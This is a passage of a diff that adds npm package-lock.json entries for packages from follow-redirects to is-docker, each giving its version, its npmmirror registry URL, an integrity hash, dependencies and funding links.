"sha512-X8cqMLLie7KsNUDSdzeN8FYK9rEt4Dt67OsG/DNGnYTSDBG4uFAJFBnUeiV+zCVAvwFy56IjM9sH51jVaEhNxw==", + "dev": true + }, + "node_modules/follow-redirects": { + "version": "1.15.9", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.9.tgz", + "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "4.3.7", + "resolved": "https://registry.npmmirror.com/fraction.js/-/fraction.js-4.3.7.tgz", + "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", + "dev": true, + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmmirror.com/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/fs-monkey/-/fs-monkey-1.0.6.tgz", + "integrity": "sha512-b1FMfwetIKymC0eioW7mTywihSQE4oLzQn1dB6rZB5fx/3NpNEdAWeCSMB+60/AeT0TCXsxzAlcYVEFCTAksWg==", + "dev": true + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", + "dev": true + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmmirror.com/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "dev": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmmirror.com/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmmirror.com/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "dev": true, + "dependencies": { + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", + "dev": true + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-proto/-/has-proto-1.0.3.tgz", + "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hash-sum": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-2.0.0.tgz", + "integrity": "sha512-WdZTbAByD+pHfl/g9QSsBIIwy8IT+EsPiKDs0KNX+zSHhdDLFKdZu0BQHljvO+0QI/BasbMSUa8wYNCZTvhslg==", + "dev": true + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/highlight.js": { + "version": "10.7.3", + "resolved": "https://registry.npmmirror.com/highlight.js/-/highlight.js-10.7.3.tgz", + "integrity": "sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmmirror.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmmirror.com/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/hpack.js/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/html-docx-js-typescript": { + "version": "0.1.5", + "resolved": "https://registry.npmmirror.com/html-docx-js-typescript/-/html-docx-js-typescript-0.1.5.tgz", + "integrity": "sha512-GNojWFDYbpHSIgKml6/0oAom8mtHrHRTWKMyLRdeJQHO/CyeM6H39DYgzYvPp4OhBp2Ti8dxMKFq0/FkpYD4bg==", + "dependencies": { + "browser-or-node": "^1.2.1", + "jszip": "^3.4.0", + "tslib": "^1.13.0" + } + }, + "node_modules/html-docx-js-typescript/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" + }, + "node_modules/html-entities": { + "version": "2.5.2", + "resolved": "https://registry.npmmirror.com/html-entities/-/html-entities-2.5.2.tgz", + "integrity": "sha512-K//PSRMQk4FZ78Kyau+mZurHn3FH0Vwr+H36eE0rPbeYkRRi9YxceYPhuN60UwWorxyKHhqoAJl2OFKa4BVtaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ] + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "dev": true, + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-tags": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/html-tags/-/html-tags-3.3.1.tgz", + "integrity": "sha512-ztqyC3kLto0e9WbNp0aeP+M3kTt+nbaIveGmUxAtZa+8iFgKLUOD4YKM5j+f3QD89bra7UeumolZHKuOXnTmeQ==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.6.3", + "resolved": "https://registry.npmmirror.com/html-webpack-plugin/-/html-webpack-plugin-5.6.3.tgz", + "integrity": "sha512-QSf1yjtSAsmf7rYBV7XX86uua4W/vkhIt0xNXKbsi2foEeW7vjJQz4bhnpL3xH+l1ryl1680uNv968Z+X6jSYg==", + "dev": true, + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.20.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dev": true, + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/htmlparser2/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmmirror.com/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==", + "dev": true + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dev": true, + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.8", + "resolved": "https://registry.npmmirror.com/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==", + "dev": true + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmmirror.com/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dev": true, + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.7", + "resolved": "https://registry.npmmirror.com/http-proxy-middleware/-/http-proxy-middleware-2.0.7.tgz", + "integrity": "sha512-fgVY8AV7qU7z/MmXJ/rxwbrtQH4jBQ9m7kp3llF0liB7glmFeVZFBepQb32T3y8n8k2+AEYuMPCpinYW+/CuRA==", + "dev": true, + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/immediate": { + "version": "3.0.6", + "resolved": "https://registry.npmmirror.com/immediate/-/immediate-3.0.6.tgz", + "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==" + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dev": true, + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ipaddr.js": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/ipaddr.js/-/ipaddr.js-2.2.0.tgz", + "integrity": "sha512-Ag3wB2o37wslZS19hZqorUnrnzSkpOVy+IiiDEiTqNubEYpYuHWIf6K4psgN2ZWKExS4xhVCrRVfb/wfW8fWJA==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-ci": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/is-ci/-/is-ci-1.2.1.tgz", + "integrity": "sha512-s6tfsaQaQi3JNciBH6shVqEDvhGut0SUXr31ag8Pd8BBbVVlcGfWhpPmEOoM6RJ5TFhbypvf5yyRw/VXW1IiWg==", + "dev": true, + "dependencies": { + "ci-info": "^1.5.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/is-core-module": { + "version": "2.15.1", + "resolved": "https://registry.npmmirror.com/is-core-module/-/is-core-module-2.15.1.tgz", + "integrity": "sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==", + "dev": true, + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + 